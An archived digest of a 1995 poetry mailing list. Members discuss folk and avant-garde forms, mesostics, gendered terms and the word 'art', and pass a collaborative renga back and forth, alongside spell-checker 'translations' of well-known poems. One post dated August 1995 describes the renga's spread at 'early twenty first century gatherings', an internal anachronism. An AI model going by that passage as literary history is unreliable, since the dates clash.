Re: folks & forms
Wed 2 Aug 1995

Herb Levy wrote:
>While it's true that older folk forms have become increasingly calcified, I
>think this is more part of an ongoing historic process than a result of
>"the 20th Century." Once people are writing in a form that they learn by
>rote rather than through an active community practice, you've got problems.

Herb, certainly it is "an ongoing historic process" but I wonder if this "calcification is increased in 20th century capitalist society, particularly due to this question of "active community practice." I mean it seems no accident that various, often economically marginalized "subcultures" wld be the lively areas--places, perhaps, where community & therefore individual expression is not so proscribed. Though that's what you seem to be saying, sort of, in the rest of your post.

But this question of taking on the forms of _My Life_ or _Progress_, well (1) I think it is happening, quite a bit. There are a lot of good little magazines publishing tons of folks influenced by language (almost put the word influenced in quotes, but why? Yeah I'm influenced & I'm a ding dadd proud of it) -- some of them wld be _Proliferation_, _Impercipient_, _Phoebe_, _Object_, _Avec_, _Black Bread_, _Antyneme_, _Prosodia_, _Open 24 Hours_, & even, of course, _Apex of the M_ (they just choose to articulate it in a more oedipal manner) (2) This question of whether it wld be good, or is good: aesthetically, yes, I think it's good, more people trying more kinds of things, but I'm not sure I wld extend that to any form being "intrinsically" good-- I can imagine these modes of writing becoming accepted, canonized, codified, as much as any other kind of writing, which wouldn't be good. In that situation one might make the radical gesture of writing a canzone. Berrigan & then Mayer made the sonnet new. At the same time there is the aspect of the aesthetic we're discussing articulated in, say, L.H.'s "The Rejection of Closure" which might be, & has been, fodder for an argument that this aesthetic is inherently superior. I'm not entirely unconvinced by that, it is the aesthetic, broadly speaking, I choose to work in. I suppose it's a matter of art's ability to change our perceptions of the world. & whether "open form" is good, or better. . . I don't think one can hierarchize it, that's probably what we can/should/might learn from it. Does "open form"

spell "open mind," *really*?-- there are foolish folks as well as fabulous people writing in these forms, maybe this is our open fate.
--Rod
Herb Levy also wrote:
>Think how different "our" literary culture would be if many writers took on
>the formal rhythms of Lyn Hejinian's "My Life," the five-line stanzas of
>Barrett Watten's "Progress," or other structures & forms from language
>works of the 1980s, just as many people write sonnet sequences or workshop
>poems.

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19. Rod Smith
Re: folk rhythms & mesostics
Wed 2 Aug 1995

I've written some things using mesostics. One was a writing through _Fun with Dick & Jane_, not exactly something one can easily imagine J.C. doing. I don't think we should worry abt being thought derivative, every writer is. But it will be new, not as a result of a glorification of the new, but as a result of occupying a different time. Stein sd something like that in one of the Lectures in America. It wld be interesting to see a writer come along & choose the mesostic form exclusively, really dedicate themselves to it, in the wake of what John did, & to read their work in relation to him.

Re whether such allegations are raised more against "experimantal" writers with regard to imitation. Maybe. But hey, go 'head, allegate. It's whether the work's doing something or not that matters I think. I think these forms become public domain as soon as they're made use of. Maybe we should write a "renga" in sentence form on here called "Our Life." --Rod

Joe Zitt wrote:
>new forms get viewed as the "turf" of one writer or another (in your
>examples, Hejinian or Watten), and to use them is viewed as copping
>another's style. I've kicked around the idea of using Cage's mesostic
form, but the method is so strongly connected to his work that >it
>would be hard to avoid looking like a slavish imitator in doing it.
>This isn't a problem in doing, for example, sonnets and sestinas,
>since the identity of the originators has (as far as i know) been
>lost.
Gwyn Mcvay wrote:
>Joseph Zitt raises a good point. Are such allegations raised more often
>against people who work with, for lack of a better word, "experimental"

>poetries? When do Cage's mesostics or the Hejinian page from _My Life_
>become formal "public domain" like the sestina?

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20. Gabrielle Welford
Re: Renga 1
Wed 2 Aug 1995

On Sun, 30 Jul 1995, Jordan Davis. wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The rook to the knight here by King's Bishop Three
> Something has changed in the nature of friendship
 But wouldn't you know it, Mrs. Mullett next in line

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21. Gabrielle Welford
Re: Renga 1
Wed 2 Aug 1995

On Sun, 30 Jul 1995, Sheila E. Murphy wrote:

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
>First inverted whistle of a cardinal in the poplar
>The book and the oboe on the grass under sun and cloud
>Go endlessly, an obtuse Prussian blue, it binds
>The caravan of windows to what they flee
>These lace curtains, more gauze than bondage, more
>Mollycoddled than aware, thin-spined and pebbling
 but narrow in the waist or waspish Sunday years ago

↑ Index

22. beard
Re: folk rhythms & forms
Wed 2 Aug 1995

Herb wrote:

> *Think how different "our" literary culture would be if many writers took on the formal rhythms of Lyn Hejinian's "My Life," the five-line stanzas of*

> *Barrett Watten's "Progress," or other structures & forms from language works of the 1980s, just as many people write sonnet sequences or workshop poems.*
>
> *Could these idiosyncratic forms become idioms in any functional way? What would it take for this to happen? Would it be a good thing?*

I think that it does happen, if not with the precise structures then with the _concept_ of idiosyncratic forms, and certainly with vocabulary. For example, what are the poetic effects of using abbreviations (such as "yr", "sd", "th" etc.)? I think they may have originally given an anti-"poetic" memo-like quality to the writing (are they derived from telegrams?), but when I read them in contemporary work, they appear to me as an idiom, almost a clichi. They say "I wanna be Olson/Creeley". Perhaps we'll see internet abbreviations (IMHO, BTW, RTFM etc) appearing in poetry soon. We probably already do.

> *It's simply a different thing for someone to write a canzone, a sestina, or a sonnet sequence several hundred years after it was a functional poetic form within the culture. It's no longer part of a living culture, it's a marketing strategy.*

I agree that writing a sonnet sequence now is a different act from writing one several hundred years ago when such structures were de rigeur. I'm not sure, however, that the sonnet ever ceased to be "living culture" or "a functional poetic form". An art form doesn't have to be either part of mass culture or avant garde in order to remain alive. People are still writing symphonies after Cage and sestinas after Olson.

Even if one does choose a form that has fallen into disuse within one's culture or was never part of it (such as a ghazal), there are a range of possibilities other than "marketing strategy". Maybe one is, consciously or otherwise, placing oneself within a tradition by writing a Petrarchan sonnet, a Ginsbergian rant, or yet another Catullus poem. All that one is doing is saying "this is where I'm coming from", in the same way that a hip-hop artist might sample a James Brown riff. Or one could be putting forward a challenge to that tradition, in the way that Michele Leggott's sonnet sequence _Blue Irises_ challenges the tradition of the male sonneteer. By using a form or genre, one's poem can economically allude to everything written in that style, in the way that Merwins _Elegy_ speaks of and to every elegy that has been written. In either case, the form is saying something. Form signifies. Form is never _less_ than an extension of content.

The final option is to use a "dead" form purely for its formal possibilities. Of course, the reader is free to read homage or challenge into your poem, even if you'd only thought "Ooh, I like that syllabic pattern!" when you chose a 14-th century Moroccan courtship song as your model.

Anyway, what's wrong with a marketing strategy? :-)

Tom.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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23. Ron Silliman

Re: Innovations & Traditions

Wed 2 Aug 1995

"A substantial number of the people on <wr-eye-tings> aren't on <poetics>, and it seemed that people on both lists might have something interesting to add to this topic."

Some of us don't even know what wr-eye-tings is (or are). Please elucidate!

Ron

[redacted]

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24. R I Caddel

Re: POETICS Digest - 31 Jul 1995 to 1 Aug 1995

Wed 2 Aug 1995

I've been away for some weeks and am just picking up the ripples of past conversations (rather like walking into a pub just before closing time).

FOLK/RHYTHM Recognising the tendency of "professional" folk music to ossify these days, we must recognise that it were'nt always so, and indeed on some occasions it was the transmission process which caused ossification to set in: c.1900 Cecil Sharp was having his transcriptions greeted with academic incredulity: one musicologist actually said "no peasant could think in compound time". Despite the mass of evidence to the contrary. Being based Suffolk, Chris, you might know the Ship Inn at Blaxhall - famous folksinging community right up to the sixties, totally ignoring (and ignored by) the neighbouring haut musique of Britten etc. It's described in G.Dunn: The Fellowship of Song (1980) (more of a sociological survey).

The point is that the singers of Blaxhall & environs wouldn't just copy songs they'd heard from other people: they felt they had to "move into them" somehow, make them their own (am I out of line to relate this to the "bardic"

transmission process? Certainly it relates to my own abhorance of "cover bands"...). This process was a lengthy one, could take months or years until someone felt able to sing one they'd had from another, and involved varying words (obviously), tune and rhythm. The rhythms and inflections they used (as for all of us) came from around them. So, the songs are organic and have a life of their own - until the folk orthodoxy comes along to hammer these things into the "correct" versions...

NATIONAL POETRY WEEK I'm sorry to see the US is going through this: I'd hoped the dismal flop of our own National Poetry Day (shopwindow for the Glynn Maxwells and Simon Armitages of this world) would be the end of it. I assume it's being sponsored by the major publishers as a hype opportunity? Good luck to anyone who organises anything outside that context: over here we advised people to stay indoors and wait till it passed. There was even a National Poetry Day Defence Committee (based in Cambridge) which put out some "How to survive National Poetry Day" flyers. x

x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted] x x

x x "Words! Pens are too light. Take a chisel to write." x x

- Basil Bunting x x x

↑ Index

25. beard

Re: the feminine

Wed 2 Aug 1995

Maria wrote:

> *these denominations, "feminine" and "masculine," it seems, are simply ways of noting --or creating --difference. masculinity is associated w/ aggression, femininity with docility or gentleness, without much thoughtful attention to the empirical world. it's just a crude shorthand for perceived opposition.*

and Steve replied that there were three options:

> *1. To keep them but divorce them from gender altogether (as yin and yang originally referred not to gender but to the mossy unmossy side of a tree). This is what I was trying to get to, and I didn't quite make it in my post, which is what riled you, I think.*
>
> *2. To keep them in a concept of gender but to expand beyond a binary opposition of genders (I just read an article last month in the S.F. Bay Guardian [I believe; maybe it was the Weekly] about certain geneticists who believe that, biologically speaking, there are perhaps 5 human genders, and*

> *Dodie's quoted material seems to me to dovetail with this notion in more ontological terms.*
>
> *3. Forget the whole thing and go back to our caves.*

Well, I hope it's not (3). There was a flamewar on the wine mailing list a few months back when someone used the word "feminine" to describe a wine (I think it was a red Burgundy), and I think that no matter how hard we try the first option, the gender connotations will cling on to the words, at least for the next century or so. One cannot take a word apart like a car engine, replace an old part that rattles and belches malodorous smoke, then put the whole thing back together.

It's a pity, because I think that I've a pretty good idea what a "feminine" wine tastes and smells like, and hence it would seem a useful term. But I find the implications of calling a floral, delicate Beaujolais "feminine" and a hefty, muscular Shiraz "masculine" somewhat offensive. It might be better to define "feminine" as "having properties analogous to the social norms for women in mid-20th Century Western culture" (and similar for "masculine"), but words have a habit of wandering away from their "official" definitions. Get back here!

Perhaps we could just use the terms "aggressive" vs "gentle", if that's what we mean. We'd lose a lot of the subtle connotations of fem vs masc, but we're not going to imply that all men are aggressive and all women gentle just by using the words outside of a gender context. Maybe this is similar to the "soul" debate: if a word is likely to cause misunderstanding or offense, then perhaps it is wiser to avoid using that word with a given audience, and find a substitute.

As an aside, I once sat (at my employers' request) a personality test called (I think) the California Personality Inventory. After answering 400 True/False questions, I was summed up as ten numbers, each of which placed me somewhere on a scale between two binary opposites. One of these scales was labelled either Masculine/Feminine or Task-oriented/People-oriented (the latter is now the preferred labelling). Interestingly, I was considered unusually feminine.

Tom.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

26. Ron Silliman
Re: folk rhythms & forms
Wed 2 Aug 1995

Cris,

T'ain't a folk art until the communist party adopts it as a means of reachin' Da People.

May orgies of fragmentation become your norm,

Ron
[redacted]

↑ Index

27. Ron Silliman
Re: Renga 1
Wed 2 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing

↑ Index

28. Ron Silliman
Re: Renga 1
Wed 2 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The rook to the knight here by King's Bishop Three
Something has changed in the nature of friendship
But wouldn't you know it, Mrs. Mullett next in line
For food stamps, quints racing about the linoleum

↑ Index

29. Joseph Zitt
Re: Renga 1
Wed 2 Aug 1995

On 2 Aug 95 at 2:52, Ron Silliman wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped cream, the Times blowing
In the changing wind, dollops of wordfoam spinning toward the veil
---------1---------1---------1---------1---------1---------1----------
|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

30. Pierre Joris
Re: folk rhythms & forms
Wed 2 Aug 1995

cris,

obviously none of those avant-garde forms you mention have become "folk" art. However, one of the classic 20C avant-garde techniques, the Surrealists' exquisite corpse (as drawing or language-game) has achieved some kind of status as generally available social entertainment. (but obviously the game of telephone kids play is older than the cadavre exquis).

Pierre

==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |

Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========

↑ Index

31. beard

Corrections: in the beginning was MS Word.

Wed 2 Aug 1995

Oh well, I'm afraid I've got nothing to say at the moment about folk music, the feminine, or the soul, so there's nothing for it but to post some poetry :-)

Based upon the idea of phonetic translation, I tried feeding some foreign- -language poetry through my word-processor's spelling checker, and seeing what IT thought the correct spellings should be. The results were intriguing, if only for finding out the bizzare vocabs that these programs have - how did "Hyundai" get in there?!? Some of them also came out with an, ahem, anatomical bent.

Most of the originals should be quite familiar. The first one is especially easy to guess; with the last two, I've also "corrected" the titles to make it easier.

Noel mezzo dell caiman die nostril vita
  my retrieve per ulna salvo Oscar
  she lad dirtier via era smarter.
Ash quarto a dire quail era I cosier dour
  ester salvo selvage I aspire a forte
  she noel penises rhino lab Peru!
Taunt a amore she pogo I pie Morse;
  ma per tartar deli bean chi's vie trivia,
  dirt dell alter chose chi VHF scrota.

Quad lei cell bass eat loud pees come urn coverall
Sour lest geminate on prior ox longs ennui's,
Eat queue die horizon embarrassment tout let cereal
Ill onus verse urn juror plus tryst queue lease units;

Quad lay terry set change in urn cachet humped,
Our Esperanto, comma tune shaver sours,
Zen vat butternut less moors do son aisle timed
It SAE cognisant lay teeth a does palinodes pours;

Quad lay plume elating sees immunises trainees
Dune vase prison mite loess barium,
Eat quo people mute infamies arraigned
Vienna tenure sets filets auk fond die noose cervix,

Des cloches tout a coup stunt aver furry
It lancet veers Leo coil urn affect Harlem,
Heinz queer deeps esprit's errands it sane party
Quiz see mutant a gender opine tremens.

- Set be longs core billiards, sand tambourines nix mosque,
Defoliant sentiment Danes moon ammo; lessor,
Venice, pleasure, it lingoes aorta, despotic,
Surf mown crane incline pliant son drupe nor.

Precise I ell aide

Sue lung die persimmon
Prices toccata vines
poor urn amphibian sender
do crystallise I laurels.
Ell silence sin esters,
Hyundai deal sonnet,
cake donned eel mar bate I chanter
us gnocchi Elena do peaches.
On loss pieces dye lab sierra
loose carbines doormen
guarantee lasso blinks tortes
downed vixen louse ingress.

Herb's tag

Heir: is sit zest. Deer sombre war sheer gross.
Leg denizen station auk sine sauna neurone,
undo of den florin lass die windy louse.

Befell den lesson further vole zoo sienna;
gibe inhere notch sew suede lichen tag,
drainage she fur volley dung hind undue jade
die latest Sussex in den shrewd weenie.

Where jets Kevin hauls hat, baud Sikh keenness mohair.
Wear jets alien sit, wired is flange bellboy,
wiry wheaten, lesion, lunge brief shriven
undo wild in den alley hid undue her
unhurried wander, wean die bladder tribune.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

32. Burt Kimmelman

Re: Free Verse Soot

Wed 2 Aug 1995

David, Jonathan et alia,

The ancient Greeks did not distinguish as we do between art and technology (techne). Is that what D Thomas was playing off of in the line that was quoted. Now, would these same ancients have linked belief to making? I think so, at least in principle. So where does this leave us?

Burt

↑ Index

33. David Kellogg

Re: avoidance behavior syndrome

Wed 2 Aug 1995

On Tue, 1 Aug 1995, Jonathan Brannen wrote:

> *So, David, you don't like the term "art" because avoidance of mystification is lost by its use? The difficulty in defining "art" is because art is fluid by nature (i.e. constantly changing). I'm sorry that this lack of certitude causes you discomfort. Any useful tips on how to deal with life's other uncertainies?*

None at all: I was using "mystification" in a political sense, not in the sense of uncertainty. Therefore I think you misread my point, or perhaps I didn't state it well. I do not avoid the term "art" because it's "fluid by nature," but rather because its associations in the case of poetry so often lead to a variety of forms of copping out, throwing up of the hands when it comes to describing how poetry operates in culture. This is NOT a rejection of fluidity. So what if art is constantly changing? So's everything else, and I (obviously) don't avoid language entirely. Rather, I find myself pulled into a game of artistic fort/da whenever I encounter the term "art" used actively ("here" art is, "here" art isn't). And it's tiring. David don't play that game.

My point is similar to the one Charles Bernstein made some time ago (was it at the Alabama symposium?) about preferring the term "writer" to "poet": poet has

a lot of baggage, or did then. (I don't know if he still holds to this; he seems to have gotten more poet-friendly in this regard of late.)

I avoid the term "art" because it's not a construction I'm comfortable with, not because art changes. In fact, change is precisely the point: I find the inherited vocabulary of "art" (that is, an aesthetic vocabulary) inadequate for describing historical changes in poetry. You can go ahead and use the term -- I'm speaking only for myself. For me, nothing is gained by the term, and much is lost.

Cheers,
David
~~~
~~~

> *Of course, there is the interesting stuff that happens when someone tries to use an existing form, gets it wrong, and creates something new. (I've been accused of getting my musical ideas by a consistent pattern of misunderstandings; what the hell, it works.)*

That's Harold Bloom's theories in a nutshell. ;-)

Cheers,
David
~~~
~~~

~~~
~~~

39. cris cheek
Re: folk rhythms & forms
Wed 2 Aug 1995

Yes Ric, know something of the Blaxhall Ship's crew. Was drinking Barley Mow at The Eel's Foot just last Saturday, a drunken stagger of an environs away, where Jumbo Brightwell held court with his elder brother Velvet during the '50s. His LP on Topic was titled 'Songs From The Eel's Foot' - how about that for a response to 'where does it come from?'.

Know singer who travelled and sang regularly with Brightwell. One night he heard a 'version' of Jack Barleycorn he'd never heard the like of before - came, 'out of the blue'. Asked if he could have the song and got words in post on back of old birthday card - says you have to try to embody a new melody like trajectory of lightning. Only version remotely like it - even from Brightwell - he ever heard. Given some of the house ales in these parts who knows. Memory and event in the compost of time.

A different process from the bardic apprenticeship, which is closer to drum knowledge as Arona N'Diaye described his learning to me once - given rhythm (aged 6 or so) and return to repeat that rhythm, hold it 'down' for 30-40 minutes without letting it 'go'. The requirement to do that, sent away with same rhythm if not, before being given another rhythm. A thorough and prolonged process of embodiment.

Living traditions - social gifts - folk math - ephemera -
this list.

love and love
cris

↑ Index

40. cris cheek
Re: folk rhythms & forms
Wed 2 Aug 1995

> *May orgies of fragmentation become your norm,*

Do Ron, I misheard August bodies bareing their navigable standards

love and love
cris

↑ Index

41. Louis Cabri
(no subject)
Wed 2 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Power to the spider, virtuous in act if not intent
Sight over sound for "justice," O cubes of Cuba! Where

↑ Index

42. Louis Cabri
rengala
Wed 2 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
Rack of lambent jingoism, carving the exemplar's demise
Hurricane Eden and evening is nigh []~`\)<-
Inside, inside! This syndetic material is killing me.
A blase malediction presses outstretched
Icons of address: "Etiquette, please!" Trainslated said

↑ Index

43. cris cheek
Re: folk rhythms & forms
Wed 2 Aug 1995

Hi Pierre, guess I'd argue that Jazz has generated forms that have become 'folk', much as Blues and Rock have also?

In poetry I'd suggest 'Hallmark' (i know we've had that discussion already) and Slams and that Renga form that evolved on the Buffalo Poetics list sometime in the mid 1990s. How those, at first tentative, variegated leaf forms became whole branches of prosodic community generating rangey glossolalia

among social migrations at early twenty first century gatherings is one of the most notable examples of the movement from written to oral I know. It suggests that writing affects speech with more subtlety than formerly thought.

love and love
cris

↑ Index

44. Jorge Guitart

Re: your mail

Wed 2 Aug 1995

On Wed, 2 Aug 1995, Louis Cabri wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Power to the spider, virtuous in act if not intent
> Sight over sound for "justice," O cubes of Cuba! Where
> would calmness be without the stain of possession and

↑ Index

45. Louis Cabri

renga 1

Wed 2 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped cream, the Times blowing
What a handjob, eh. Don't worry the fallacy, wit will
shrivel it.

↑ Index

46. Jorge Guitart
Re: rengala
Wed 2 Aug 1995

On Wed, 2 Aug 1995, Louis Cabri wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> Rack of lambent jingoism, carving the exemplar's demise
> Hurricane Eden and evening is nigh []~`\)<-
> Inside, inside! This syndetic material is killing me.
> A blase malediction presses outstretched
> Icons of address: "Etiquette, please!" Trainslated said
  ka mi zu --"north of the genitals and holding"

↑ Index

47. Jorge Guitart
Re: renga 1
Wed 2 Aug 1995

On Wed, 2 Aug 1995, Louis Cabri wrote:

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *What a handjob, eh. Don't worry the fallacy, wit will*
> *shrivel it or my name is not Imitates-Brown-Ear*

↑ Index

48. Jonathan Brannen
Re: avoidance behavior syndrome
Wed 2 Aug 1995

David,

I understand your position much better since you've restated it. The term "art" does carry a lot of baggage much of which one would prefer not to be burdened with. "Art" does elude easy definition which makes it vulnerable to misrepresentation. Certainly the freshman Republican representatives have found it an easy target. I don't mean to align you with that group, but I do question the wisdom of surrendering the use of the term "art" rather than reclaiming it. I raise this question for myself precisely because I get bored too easily to see the appeal of defining what art is or isn't and what is or isn't art.

Best,
Jonathan

↑ Index

49. Tony Green
Re: avoidance behavior syndrome
Wed 2 Aug 1995

---

as with other discussions, e.g. of "literature" , "art" appears to be the term for that which has been or is in the process of being considered for a canon. I call my "wrtitings" "Art" or "Poems", when I want them to be considered for a canon. But a message about plums on the fridge door...?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

50. cris cheek
other folk
Wed 2 Aug 1995

OK I'll go right over the top, since I'm heading that way with Jazz and Blues and Rock as twentieth century urban 'folk'.

I'd like to throw in 'raves' (don't know if you have quite the euro fever in the states) / 'football chants' and maybe sports chants and expressions more generally such as the reinforced society of the spectacle critique evidenced in the 'mexican wave' / 'graffitti' / 'rap' / 'calypso' / 'carnival' (anyone read the excellent 'Carnival in Romans' by Emmanuel Le Roy Ladurie - I know it's

another source of carnival - when a peasants' revolt both succeeded and was then in turn violently repressed during the course of one long carnival celebration with much Machiavellian use of mask) / 'surfboarding' (etc) and their 'folk' 'arts' and specialist languages cf Kathy Bigelow's movie 'Point Break' (or something close to that title?) and Michael Davidson's article in Poetics Journal / 'the Aids Quilt' / various campaigns 'greenham women', 'dongas' (you'll have your own examples) / MUD and MOOs / tattoos and piercings (a paradox herein) / & & & ? ? ? what else

This could easily lead back into discussions of sampling and copyright. How about common ownership and community versioning as oppositional forces within cultures fetishised onto the chimaera of 'origination'?

Not proposing anything here other than continuing and rangey discussions
love and love
cris

↑ Index

51. Jonathan Brannen
Re: Free Verse Soot
Wed 2 Aug 1995

David, The Thomas quote was: "The tricks are easy, it's the art that's difficult." In context he was saying that it's easy to learn how to write a poem, it's hard to write a good one.

Jonathan

↑ Index

52. Louis Cabri
(no subject)
Wed 2 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The rook to the knight here by King's Bishop Three
Something has changed in the nature of friendship
Renegade and flightless, board of common prayer aside
Retires a diplomat with "the Prussian blues" - misconstrual
but doesn't bother to misconstrue itself and then
drinkin' eel foot at the barley mow just last saturday i

detected an anomalous rhythmicity nuncupating our otherwise
tearfully drear decorum of the dead letter dance

↑ Index

53. Sheila E. Murphy

Re: Renga 1

Wed 2 Aug 1995

>adding to Ron Silliman's addition --
>
> In the books were dreams and in the dreams were books.
>> And flew through windows, lightning green and fine morning
>> First inverted whistle of a cardinal in the poplar
>> The book and the oboe on the grass under sun and cloud
>> Go endlessly, an obtuse Prussian blue, it binds
>> The caravan of windows to what they flee
>> These lace curtains, more gauze than bondage, more
>> Mollycoddled than aware, thin-spined and pebbling
>> but narrow in the waist or waspish Sunday years ago
>> Over coffee topped with whipped cream, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind

↑ Index

54. George Bowering

Re: avoidance behavior syndrome

Wed 2 Aug 1995

I have found that the only people who avoid words like "art" on egalitarian terms are the privileged, university profs and the like. My brother-in-law wouldnt. And his job is putting together RVs. He would never call that art, either.

↑ Index

55. Rod Smith

Re: your mail

Thu 3 Aug 1995

 In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds

> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Power to the spider, virtuous in act if not intent
> Sight over sound for "justice," O cubes of Cuba! Where
> would calmness be without the stain of possession and
  Belief. A mirage effect, art, made to waver in

↑ Index

56. Gabrielle Welford

Re: your mail

Thu 3 Aug 1995

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Power to the spider, virtuous in act if not intent*
> *Sight over sound for "justice," O cubes of Cuba! Where*
> *would calmness be without the stain of possession and*
> *Belief. A mirage effect, art, made to waver in*
> *a modicum of chocolate milk. Not too late for*

↑ Index

57. Jorge Guitart

Re: your mail

Thu 3 Aug 1995

On Wed, 2 Aug 1995, Louis Cabri wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The rook to the knight here by King's Bishop Three
> Something has changed in the nature of friendship
> Renegade and flightless, board of common prayer aside
> Retires a diplomat with "the Prussian blues" - misconstrual
> but doesn't bother to misconstrue itself and then
> drinkin' eel foot at the barley mow just last saturday i
> detected an anomalous rhythmicity nuncupating our otherwise

> tearfully drear decorum of the dead letter dance
  I have no time to consecrate the private parts

↑ Index

58. Jorge Guitart
Re: Renga 1
Thu 3 Aug 1995

On Wed, 2 Aug 1995, Sheila E. Murphy wrote:

> >adding to Ron Silliman's addition --
> >
> > In the books were dreams and in the dreams were books.
> >> And flew through windows, lightning green and fine morning
> >> First inverted whistle of a cardinal in the poplar
> >> The book and the oboe on the grass under sun and cloud
> >> Go endlessly, an obtuse Prussian blue, it binds
> >> The caravan of windows to what they flee
> >> These lace curtains, more gauze than bondage, more
> >> Mollycoddled than aware, thin-spined and pebbling
> >> but narrow in the waist or waspish Sunday years ago
> >> Over coffee topped with whipped cream, the Times blowing
> > & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
  kissing the weatherwoman between her breasts as she

↑ Index

59. Jorge Guitart
Re: your mail
Thu 3 Aug 1995

On Thu, 3 Aug 1995, Rod Smith wrote:

> In the books were dreams and in the dreams were books.
> > And flew through windows, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > The book and the oboe on the grass under sun and cloud
> > Go endlessly, an obtuse Prussian blue, it binds
> > The caravan of windows to what they flee
> > These lace curtains, more gauze than bondage, more
> > Power to the spider, virtuous in act if not intent
> > Sight over sound for "justice," O cubes of Cuba! Where
> > would calmness be without the stain of possession and

> Belief. A mirage effect, art, made to waver in
between the times that the viewer spoke to the screen

↑ Index

60. Jorge Guitart
Re: your mail
Thu 3 Aug 1995

On Wed, 2 Aug 1995, Gabrielle Welford wrote:

> > In the books were dreams and in the dreams were books.
> > > And flew through windows, lightning green and fine morning
